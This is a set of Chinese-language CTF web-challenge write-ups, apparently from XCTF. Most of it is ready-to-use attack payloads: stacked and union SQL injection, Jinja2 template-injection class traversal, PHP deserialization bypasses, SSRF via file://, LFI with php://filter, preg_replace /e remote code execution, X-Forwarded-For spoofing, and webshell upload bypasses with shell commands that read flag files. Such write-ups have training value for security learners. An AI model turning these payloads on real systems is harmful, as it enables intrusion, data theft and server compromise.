supersqli
首先进入环境,发现是SQL注入。我们先简单的进行一些测试,发现是字符型注入,因此加一个单引号然后后面加#来闭合,然后测试1=1,1=2,发现都可以,然后进行order by测试,发现是2。
但是用1’ union select 1,database()#
这里考虑进行大小写,内联,用注释,等等,都不行。因此这里考虑使用堆叠注入,发现成功了。
先获得数据库名称:
1';show databases; #
1';show talbes;#
1' ;show columns from `1919810931114514`#
这时候我们的思路很明确的,就是获得1919810931114514表中的flag列。
法一:
使用handler
0';handler `1919810931114514` open;handler `1919810931114514` read first;#
法二:
使用预处理语句
0';set @sql=concat('sele','ct `flag` from `1919810931114514`');PREPARE stmt1 from @sql;EXECUTE stmt1;#
法三:
使用rename和alter
因此我们可以把words表改名成words1表,把1919810931114514表改名成words,然后再把1919810931114514里面的flag字段改名成id,然后输入1’ or 1=1#就可以成功得到flag了。
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
web2
首先介绍一下解题过程中要用到的几个新函数
strrev():将所给字符串反转。
str_rot13(): ROT13 编码把每一个字母在字母表中向前移动 13 个字母。数字和非字母字符保持不变。
ord(): 返回字符串的首个字符的 ASCII 值。
chr():从不同的 ASCII 值返回字符。
通过注释我们知道上面的代码描述的是加密密文的方法,现在要求我们解出密文就可以得到flag
代码审计(对flag加密步骤):
1.将flag反转(记作FLAG)
2.使FLAG中每一个字符的ASCII值加一(凯撒密码)
3.再对其进行base64编码
4.再次逆转字符串
5.再次使用ROT13编码
知道了题目的加密步骤之后我们只需要反着解密就好了,写出解密代码
<?php
function decode($str)
{
$_o=base64_decode(strrev(str_rot13($str)));
for($i=0;$i<strlen($_o);$i++)
{
$_c=substr($_o,$i,1);
$__=ord($_c)-1;
$_c=chr($__);
$_=$_.$_c;
}
return strrev($_);
}
$string='a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
echo decode($string);
?>
当然也可以用python
"""
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1); # 每次取一个字符,就是对应的遍历的字符i
$__=ord($_c)+1; # 转化为对应的10进制数
$_c=chr($__); # 10进制转换为ASCII码
$_=$_.$_c; # 累加$_c
}
"""
def reverse(strings):
now = ''
for i in range(len(strings)):
temp = strings[i]
temp_ord = ord(temp) - 1
temp_chr = chr(temp_ord)
now += temp_chr
ans = now[::-1]
return ans
if __name__ == '__main__':
string = "~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg"
print(reverse(string))
unserialize3
通过分析在浏览器地址框输入:地址 + /?code=0,发现0出现在code后面。
所以我们输入的字段会直接传到code中。
根据题给的信息unserialize,序列化操作我们联想到序列化函数:serialize($a);
通过如下编程构造:
<?php class xctf{ public $flag = '111'; public function __wakeup(){ exit('bad requests'); } } $a = new xctf(); $s = serialize($a); echo $s; ?>
结果输出为:O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;}
__wakeup():unserialize() 时会自动调用我们在反序列化的时候 可能有时候__wakeup 中会进行一些过滤等等的操作 所以我们需要尝试绕过
绕过的条件:
当序列化字符串当中属性个数值大于实际的属性个数时,就会导致反序列化异常,从而跳过__wakeup函数
?code
Web_python_template_injection
简单探测
http://111.200.241.244:57910/{{7+7}}
证明执行了这个命令,确定存在模板注入
{{''.__class__.__mro__[2].__subclasses__()}}
构造payload
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}
魔术方法
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
Web_php_unserialize
1,unserialize时,_wakeup()的绕过 -->只需要令序列化字符串中标识变量数量的值大于实 际变量
2,绕过preg_match正则,因为正则会过滤掉序列化开头的字母O -->使用+可以绕过preg_match() 正则匹配,O:4改成O:+4
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$A = new Demo ('fl4g.php');
$C = serialize($A); //改变属性绕过wake up 函数
$C = str_replace('O:4','O:+4',$C); //绕过正则表达式过滤
$C = str_replace(':1:',':2:',$C);
var_dump($C);
var_dump(base64_encode($C)); //base64加密
?>
3.因为题目还要求base64解码再赋值给var传参
所以运行一下后构造payload
payload: /index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
easytornado
发现3个文件
1,flag in /fllllllllllllag
2,render,可能会是SSTI模板注入
3,md5(cookie_secret+md5(filename))
url中输入/fllllllllllllag,直接error
用handler.settings对象拿到cookie
url输入/error?msg={{handler.settings}}
根据hint,filehash值由md5加密
先filename即/fllllllllllllag加密,用filename的md5加密值再和cookie拼接,一块md5加密
url加上/file?filename=/fllllllllllllag&filehash=aa1c4ca242373b4bc3417c3dd4dbdb09
得到flag
知识点:tornado框架,用handler.settings对象拿到cookie,md5加密
shrine
这题涉及到我的知识盲区,主要是以下几点:
SSTI
Flask 框架
Bypass Sandbox
第一步对题目给出代码进行分析
默认访问路径为‘/’,那么会将源代码读取出来,也就是默认页面所呈现的。
这边访问‘/shrine/’路径下,传入一个值
我们输入的值首先被传到了safe_jinja函数,然后由flask.render_template_string进行渲染
很容易理解的是,我们传入的s会首先被去除‘(’,‘)’,然后在最后加上处理后的s,前面是
{% set config=None%}{% set self=None%}
可以知道是结合flask.render_template_string渲染肯定会有漏洞。
总结一下就是:flask 在 /shrine/ 下的 SSTI,对 payload 进行了过滤,对小括号进行了替换,将 ( 和 ) 替换为空字符串,将 config 和 self 添加进了黑名单
payload:
/shrine/
cat
知识点:
php cURL CURLOPT_SAFE_UPLOAD
django DEBUG mode
Fuzz URL,得到如下结果:
1、正常 URL,返回 ping 结果
2、非法 URL(特殊符号),返回 Invalid URL
3、%80,返回 Django 报错
url编码使用的是16进制,80也就是128,ASCII码是从0-127,所以这个时候会报错
查看报错 发现 使用 的是Django
通过第三种情况,判断出后端架构,猜测 PHP 层的处理逻辑。
当 CURLOPT_SAFE_UPLOAD 为 true 时,PHP 可以通过在参数中注入 @ 来读取文件。当且仅当文件中存在中文字符的时候,Django 才会报错导致获取文件内容.
通过 Django 报错调用栈中的信息,请求
@/opt/api/api/settings.py
得到数据库名称,在通过
@/opt/api/database.sqlite3
WHCTF{yoooo_Such_A_G00D_@}
lottery
下载附件
发现api.php里面的内容值得好好研究
那么就可以构造一串数组[true,true,true,true,true,true,true]传入了,
bp抓包,然后构造数组,即可得到5000000,再来一次就是10000000,可以购买flag了
fakebook
打开题目注册登录 得到如上界面
查看源码,发现一个view.php查看源码,发现一个view.php
我们发现路径一般都是/var/www/html。致此,确定一点flag文件路径为:/var/www/html/flag.php。
输出单引号报错,可能存在sql注入,进行下一步尝试
view.php?no=1 and 1=1#
view.php?no=1 and 1=2#
一正常,一报错,存在注入无疑了。
第一步,先判断原sql语句查询的字段数,页面上就显示3个,那字段数肯定从3起步了。分别测试3,4,5后。可以判断SQL语句查询字段数为4,大概猜也能猜个差不多,应该就是注册时候的用户名、年龄、密码、blog。
view.php?no=1 order by 3#
view.php?no=1 order by 4#
view.php?no=1 order by 5#
之后尝试用union select看看哪个字段可以回显利用,为了不让我们构造的select语句与原来语句的结果混在一起,将原语句查询结果置为空(no=2):
view.php?no=2 union select 1,2,3,4#
那就想办法绕过呗。尝试修改大小写,尝试复写union和select,最后发现应该是检测"union select"这个字符串,且不区分大小写。尝试用/**/或者++替换空格,都可以绕过:
view.php?no=2 union/**/select 1,2,3,4#
view.php?no=2 union++select 1,2,3,4#
通过页面的返回结果,可以发现第二个字段可以回显利用
先看下当前数据库用户和数据库名称:
view.php?no=2 union++select 1,user(),3,4#
view.php?no=2 union++select 1,database(),3,4#
先抛开数据库名fakebook不说,这个root用户着实吓了一跳,权限之高,亮瞎狗眼。mysql中的load_file函数,允许访问系统文件,并将内容以字符串形式返回,不过需要的权限很高,且函数参数要求文件的绝对路径。这巧了不是,条件全都有
view.php?no=2 union/**/select 1,load_file("/var/www/html/flag.php"),3,4#
回显部分并没有显示内容,查看下源码:
法二:
接下来拿表名:
view.php?no=2 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=“fakebook”#
找表的字段:
view.php?no=2 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"#
no,username,passwd,data四个字段,后面有几个未知字段,猜测是系统变量。
我们知道最开始注册的no为1,username和passwd也都知道是什么,唯独data字段的信息不明确,拿出来看看吧。
view.php?no=2 union/**/select 1,group_concat(username,passwd,data),3,4 from users where no=1#
接下来的东西,我认为需要猜。最开始时的用户页面no=1时,页面返回用户的用户名、密码、博客之类的消息。毫无疑问,页面是根据users表中no=1的这条数据,渲染的页面。因为回显,我们只证明了查询语句的第二个字段是username。其余三个字段并不明确,但我们可以猜测,应该和数据库表中的字段顺序相似。第四个字段应该就是data,而我们现在有一个现成的data数据,能否模拟下?
view.php?no=2 union/**/select 1,2,3,‘O:8:“UserInfo”:3:{s:4:“name”;s:3:“123”;s:3:“age”;i:123;s:4:“blog”;s:13:“www.baidu.com”;}’
注意no现在的值为2,我们知道这个用户是不存在的。换而言之,原SQL语句的查询结果为空,而我们通过union加入了我们构造的查询语句,让SQL语句有了查询结果,并且此查询结果符合页面渲染要求,所以页面正常显示了。
并且由此得知,只要有data字段的对象序列,就可以成功渲染页面,其他字段并不是很重要。(页面中age和blog的值,显然也都是从序列化的对象里面得到的)
用file伪协议读取flag内容交给blog参数,然后你再查看源码,iframe的src就发生了变化:
view.php?no=2%20union/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27
data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tjMWU1NTJmZGY3NzA0OWZhYmY2NTE2OGYyMmY3YWVhYn0iOw0KZXhpdCgwKTsNCg==
回想刚刚的问题,如何想到的修改序列里面的blog参数呢?
在构造blog的时候,报错信息也一直在给予提示:
getBlogContents函数调用get函数,把unserinfo类中的blog参数当做一个URL,得到请求内容。而页面里iframe里的src根据得到的内容进行页面渲染。
ics-05
页面到处点点,只有设备维护中心可以进去
再点了一下云平台设备维护中心,发现url栏?page=index
page,考虑文件包含漏洞
/index.php/?page=php://filter/read=convert.base64-encode/resource=index.php
查看源码漏洞,发现了base64编码的代码
解码得:
<?php
error_reporting(0);
@session_start();
posix_setuid(1000);
?>
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<meta name="renderer" content="webkit">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<link rel="stylesheet" href="layui/css/layui.css" media="all">
<title>设备维护中心</title>
<meta charset="utf-8">
</head>
<body>
<ul class="layui-nav">
<li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
</ul>
<fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
<legend>设备列表</legend>
</fieldset>
<table class="layui-hide" id="test"></table>
<script type="text/html" id="switchTpl">
<!-- 这里的 checked 的状态只是演示 -->
<input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>
</script>
<script src="layui/layui.js" charset="utf-8"></script>
<script>
layui.use('table', function() {
var table = layui.table,
form = layui.form;
table.render({
elem: '#test',
url: '/somrthing.json',
cellMinWidth: 80,
cols: [
[
{ type: 'numbers' },
{ type: 'checkbox' },
{ field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
{ field: 'name', title: '设备名', templet: '#nameTpl' },
{ field: 'area', title: '区域' },
{ field: 'status', title: '维护状态', minWidth: 120, sort: true },
{ field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }
]
],
page: true
});
});
</script>
<script>
layui.use('element', function() {
var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块
//监听导航点击
element.on('nav(demo)', function(elem) {
//console.log(elem)
layer.msg(elem.text());
});
});
</script>
<?php
$page = $_GET[page];
if (isset($page)) {
if (ctype_alnum($page)) {
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />
<?php
}else{
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php
if (strpos($page, 'input') > 0) {
die();
}
if (strpos($page, 'ta:text') > 0) {
die();
}
if (strpos($page, 'text') > 0) {
die();
}
if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
?>
</p>
<br /><br /><br /><br />
<?php
}}
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
?>
</body>
</html>
根据函数我们得知,输入的参数有三个,并且会代入到一个preg_replace函数中,查询该函数的功能。
语法
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
参数说明:
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
$count: 可选,为替换执行的次数。
返回值
如果 subject 是一个数组, preg_replace() 返回一个数组, 其他情况下返回一个字符串。
如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
url后/index.php?pat=/123/e&rep=system(“find+-iname+flag”)&sub=123
bp抓包
将http头的X-Forwarded-For改为127.0.0.1
index.php?pat=/123/e&rep=system("cd+./s3chahahaDir/flag%26%26ls")&sub=123
index.php?pat=/123/e&rep=system("cat+./s3chahahaDir/flag/flag.php")&sub=123
bug
首先注册一个用户123 123 2015/01/01 123
登入后
点击Manage弹出一下弹窗,存在admin账号,想办法登入管理员。
登入页面的这些功能都抓包看了,直接修改传参都无效。之前在登录页面存在一个寻找密码的功能,我们尝试一下。
填写修改密码 抓包
把username改为admin试试
重置管理员密码成功。登录管理员账号。
点击manage功能弹窗IP Not allowed
猜测需要重本地登录
在包中添加一个
X-Forwarded-For: 127.0.0.1
发现传参
index.php?module=filemanage&do=???
尝试include、upload这些一下子就发现是upload…
上传一句话木马图片发现不行
检测出来我上传的是php文件了。
然后用常见的一些绕过方式,这里用了php5:
but发现,它应该是检索到了内容里面有php代码。
那么就用这个js代码绕过, 先上传图片格式,修改后缀还是要用php5, 看他能不能检索出来:
<script language="php">system("ls");</script>
i-got-id-200
挨个看
一个是输入姓名年龄
一个是上传文件
源码里没有东西
于是尝试上传一句话木马
发现内容直接在网页上显示出来
param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的接收变量中。如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。对正常的上传文件进行修改,可以达到读取任意文件的目的
所以bp抓包
复制上传的文件类型及文件内容
将filename去掉
内容改为ARGV
这是一开始的样子
修改后的样子
我们利用bash来读取:
/cgi-bin/file.pl?/bin/bash%20-c%20ls${IFS}/|
通过管道的方式,执行任意命令,然后将其输出结果用管道传输到读入流中,这样就可以保证获取到flag文件的位置了。这里用到了${IFS}来作命令分割,原理是会将结果变成bash -c "ls/"的等价形式。
读取flag
要点
perl文件遇到上传可配合ARGV文件使用造成任意文件读取
任意文件读取可利用bash执行一定的命令
法二:
直接扫出来的方法
ics-07
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>cetc7</title>
</head>
<body>
<?php
session_start();
if (!isset($_GET[page])) {
show_source(__FILE__);
die();
}
if (isset($_GET[page]) && $_GET[page] != 'index.php') {
include('flag.php');
}else {
header('Location: ?page=flag.php');
}
?>
<form action="#" method="get">
page : <input type="text" name="page" value="">
id : <input type="text" name="id" value="">
<input type="submit" name="submit" value="submit">
</form>
<br />
<a href="index.phps">view-source</a>
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>
<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}
if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>
</body>
</html>
第一个php:index.php?page=flag.php,已经绕过了
第二个php:在admin的前提下,post上传文件到uploaded/backup,file是文件,con是内容,有个正则过滤
第三个php:id不能为1但最后要是9,然后有admin,简单利用弱类型
所以url为
index.php?page=flag.php&id=1a9
有admin了
然后尝试上传,post
file=p.php/.&con=<?php phpinfo();?>
尝试访问
个么可以尝试一句话木马+蚁剑(或者菜刀)了
法一:连接菜刀
法二:
/uploaded/backup/peak.php?bash=cat …/flag.php
法三:
/uploaded/backup/peak.php?peak=system(%27cat%20/var/www/html/flag.php%27);